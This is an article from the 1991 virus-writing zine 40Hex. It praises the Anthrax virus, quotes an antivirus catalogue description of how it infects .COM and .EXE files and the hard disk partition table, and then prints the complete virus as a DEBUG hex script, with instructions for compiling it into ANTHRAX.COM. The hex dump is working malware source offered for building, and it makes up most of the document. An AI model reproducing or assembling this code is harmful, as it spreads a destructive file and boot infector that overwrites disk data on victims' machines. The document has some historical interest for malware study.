40hex nº3:(40HEX-3.003):27/10/1991 << Back To 40hex nº 3
40Hex Issue 3 0003 Anthrax Well, this is turning out to be a tribute issue to the Dark Avenger. Here is another one of his better known viruses. This is a nice one cause it not only is a file infector, but it is also a sort of boot sector virus. It is also what I dubbed a reincarnation virus, meaning that even if you clean your system of it, it may still live, because it leaves a copy of itself on the last sector of the disk. The virus can be reincarnated by the V2100 virus, also bu The Dark Avenger. Well, Patti Hoffman (one of my favorite people on earth, not) wrote this virus up. Aliases: V Status: Rare [Not for long] Discovery: July, 1990 Symptoms: .COM & .EXE growth Origin: Bulgaria Isolated: Netherlands Eff Length: 1040 - 1279 Bytes Type Code: PRAKX - Parasitic Resident .COM, .EXE, & Partition Table Infector Detection Method: ViruScan V66+, Pro-Scan 2.01+, IBM Scan 2.00+ Removal Instructions: Scan/D + MDisk/P, Pro-Scan 2.01+ General Comments: The Anthrax Virus was isolated in July 1990 in the Netherlands after it was uploaded onto several BBSes in a trojan anti-viral program, USCAN.ZIP. It is the second virus to be found in a copy of UScan during July 1990, the first virus being V2100. Anthrax is a memory resident generic infector of .COM and .EXE files, including COMMAND.COM. The first time a program infected with the Anthrax virus is executed on the system's hard disk, the virus will infect the hard disk's partition table. At this point, the virus is not memory resident. It will also write a copy of itself on the last few sectors of the system's hard disk. If data existed on those last few sectors of the hard disk, it will be destroyed. When the system is booted from the hard disk, the Anthrax virus will install itself memory resident. It will remain memory resident until the first program is executed. At that time, it will deinstall itself from being resident and infect one .COM or .EXE file. This virus does not infect files in the current directory first, but instead starts to infect files at the lowest level of the disk's directory tree. Later, when an infected program is executed, Anthrax will infect one .COM or .EXE file, searching the directory structure from the lowest level of the directory tree. If the executed infected program was located on the floppy drive, a .COM or .EXE file may or may not be infected. The Anthrax Virus's code is 1,024 bytes long, but infected programs will increase in length by 1,040 to 1,279 bytes. On the author's test system, the largest increase in length experienced was 1,232 bytes. Infected files will always have an infected file length that is a multiple of 16. The following text strings can be found in files infected with the Anthrax virus: "(c)Damage, Inc." "ANTHRAX" A third text string occurs in the viral code, but it is in Cyrillics. Per Vesselin Bontchev, this third string translates to: "Sofia 1990". Since Anthrax infects the hard disk partition tables, infected systems must have the partition table disinfected or rebuilt in order to remove the virus. This disinfection can be done with either a low- level format or use of the MDisk/P program for the correct DOS version after powering off and rebooting from a write-protected boot diskette for the system. Any .COM or .EXE files infected with Anthrax must also be disinfected or erased. Since a copy of the virus will exist on the last few sectors of the drive, these must also be located and overwritten. Anthrax interacts with another virus: V2100. If a system which was previously infected with Anthrax should become infected with the V2100 virus, the V2100 virus will check the last few sectors of the hard disk for the spare copy of Anthrax. If the spare copy is found, then Anthrax will be copied to the hard disk's partition table. It is not known if Anthrax carries any destructive capabilities or trigger/activation dates. Here is the actual virus. Well if this is your fist copy of 40Hex, let me explain how to compile it. First copy what is below with your editor. Then save it to a file called ANTHRAX.SCR. Then type at the command line - DEBUG <ANTHRAX.SCR This will create a file called ANTHRAX.COM, that's the actual virus. ------------------------------------------------------------------------------- n anthrax.com e 0100 E9 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0110 95 8C C8 2D 00 00 BA 00 00 50 52 1E 33 C9 8E D9 e 0120 BE 4C 00 B8 CD 00 8C CA 87 44 44 87 54 46 52 50 e 0130 C4 1C B4 13 CD 2F 06 53 B4 13 CD 2F 58 5A 87 04 e 0140 87 54 02 52 50 51 56 A0 3F 04 A8 0F 75 6C 0E 07 e 0150 BA 80 00 B1 03 BB 77 06 B8 01 02 50 CD 13 58 B1 e 0160 01 BB 00 04 CD 13 0E 1F BE 9B 03 8B FB B9 5E 00 e 0170 56 F3 A6 5E 8B FB B9 62 00 56 F3 A4 5F BE 12 08 e 0180 B9 65 00 F3 A4 74 1E 89 4D E9 B1 5C 89 4D 9B 88 e 0190 6D DC B1 02 33 DB B8 02 03 CD 13 49 BB 00 04 B8 e 01A0 01 03 CD 13 49 B4 19 CD 21 50 B2 02 B4 0E CD 21 e 01B0 B7 02 E8 87 01 5A B4 0E CD 21 5E 1F 8F 04 8F 44 e 01C0 02 8F 44 44 8F 44 46 1F 1E 07 95 CB 28 63 29 20 e 01D0 44 61 6D 61 67 65 2C 20 49 6E 63 2E 00 B0 03 CF e 01E0 06 1E 57 56 50 33 C0 8E D8 BE 86 00 0E 07 BF 08 e 01F0 06 FD AD AB A5 AF 87 F7 AD FC 74 11 1E 07 AF B8 e 0200 07 01 AB 8C C8 AB 8E D8 BF 68 00 A5 A5 58 5E 5F e 0210 1F 07 2E FF 2E 00 06 06 1E 57 56 52 51 53 50 0E e 0220 1F BE 06 06 33 C9 8E C1 BF 84 00 A5 A5 B4 52 CD e 0230 21 26 8B 47 FE 8E D8 BB 03 00 03 07 40 8E D8 81 e 0240 07 80 00 0E 07 B7 12 E8 F2 00 58 5B 59 5A 5E 5F e 0250 1F 07 2E FF 2E 06 06 C3 91 AE B4 A8 BF 20 31 39 e 0260 39 30 B8 00 3D CD 21 72 EE 93 B8 20 12 CD 2F 53 e 0270 26 8A 1D B8 16 12 CD 2F 5B BE 62 04 8B D6 B1 18 e 0280 B4 3F CD 21 33 C1 75 70 06 1F C6 45 02 02 33 D2 e 0290 EC 3C 10 72 FB 03 45 11 13 55 13 24 F0 3D 00 FB e 02A0 73 56 89 45 15 89 55 17 0E 1F 50 B1 10 F7 F1 2B e 02B0 44 08 8B C8 2B 44 16 A3 04 00 AD 35 4D 5A 74 03 e 02C0 35 17 17 9C 75 17 89 04 3B 44 0A 87 44 12 A3 07 e 02D0 00 89 4C 14 B9 DC 04 74 07 83 44 08 48 B9 65 00 e 02E0 51 B9 9B 03 B4 40 CD 21 33 C8 59 75 09 BA 00 04 e 02F0 B4 40 CD 21 33 C8 5A 58 75 38 26 89 4D 15 26 89 e 0300 4D 17 52 9D 75 18 26 8B 45 11 26 8B 55 13 B5 02 e 0310 F7 F1 85 D2 74 01 40 89 14 89 44 02 EB 0A C6 44 e 0320 FE E9 05 28 03 89 44 FF B9 18 00 8D 54 FE B4 40 e 0330 CD 21 26 80 4D 06 40 B4 3E CD 21 C3 8E D9 8A 1E e 0340 6C 04 0E 1F FF 06 5E 04 BA 4B 06 E8 1F 00 BE 0A e 0350 06 C6 04 5C 46 32 D2 B4 47 CD 21 BA 9B 03 B4 3B e 0360 CD 21 E3 0D B4 51 CD 21 8E DB BA 80 00 B4 1A EB e 0370 C8 72 3E BE 9C 03 32 D2 B4 47 CD 21 3A 2E DC 03 e 0380 B1 32 BA 9D 02 B4 4E 74 5C CD 21 72 24 BA 4B 06 e 0390 B8 01 4F BE DC 03 BF 68 06 AA B1 0D F3 A6 74 45 e 03A0 3A 6D FE 74 40 CD 21 73 E4 32 C0 EB D3 2A 2E 2A e 03B0 00 B1 41 BF 9C 03 3A 2D 8A C5 A2 DC 03 74 69 F2 e 03C0 AE 4F B1 41 B0 5C FD F2 AE 8D 75 02 BF DC 03 FC e 03D0 AC 84 C0 AA 75 FA BA CD 02 32 C9 EB 81 2E 2E 00 e 03E0 BA 4B 06 B4 4F CD 21 72 C8 BE 69 06 BF DC 03 80 e 03F0 3C 2E 74 EC 88 2D 8B D6 F6 44 F7 10 75 DB AC 84 e 0400 C0 AA 75 FA 4E FD AD AD FC 3D 58 45 74 05 3D 4F e 0410 4D 75 CD 53 E8 4B FE 5B 33 C9 8E C1 26 A0 6C 04 e 0420 0E 07 2A C3 3A C7 72 B8 BA 80 00 B1 03 BB 00 02 e 0430 B8 01 03 CD 13 BA 0A 06 E9 23 FF 95 BF 00 01 8B e 0440 5D 01 81 EB 28 02 8B C7 8D B7 FD 03 A5 A4 93 B1 e 0450 04 D3 E8 8C D9 03 C1 BA 0B 00 EB 71 B8 D0 00 FC e 0460 87 85 68 FA AB 8C C8 E2 F7 A3 86 00 AB 8E D8 B4 e 0470 08 CD 13 49 49 A1 E9 03 84 E4 74 01 91 B2 80 B8 e 0480 03 03 CD 13 91 84 E4 75 02 2C 40 FE CC A3 E9 03 e 0490 FF 06 60 04 32 F6 B9 01 00 BB 00 04 B8 01 03 CD e 04A0 13 8A D6 CB 41 4E 54 48 52 41 58 0E 1F 83 2E 13 e 04B0 04 02 CD 12 B1 06 D3 E0 8E C0 BF 00 04 BE 00 7C e 04C0 B9 00 01 8B DE FC F3 A5 8E D8 BA 27 04 51 53 50 e 04D0 52 CB 8E C1 B1 04 BE B0 05 83 C6 0E AD 3C 80 74 e 04E0 04 E2 F6 CD 18 92 FD AD 91 B8 01 02 CD 13 81 3E e 04F0 FE 05 55 AA 75 ED 06 1E 07 1F 32 F6 B9 02 00 33 e 0500 DB B8 02 02 CD 13 E9 EE FE 00 00 00 00 CD 20 CC e 0510 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A e 0520 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A e 0530 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A e 0540 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A e 0550 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A e 0560 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A e 0570 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A rcx 480 w q ------------------------------------------------------------------------------- HR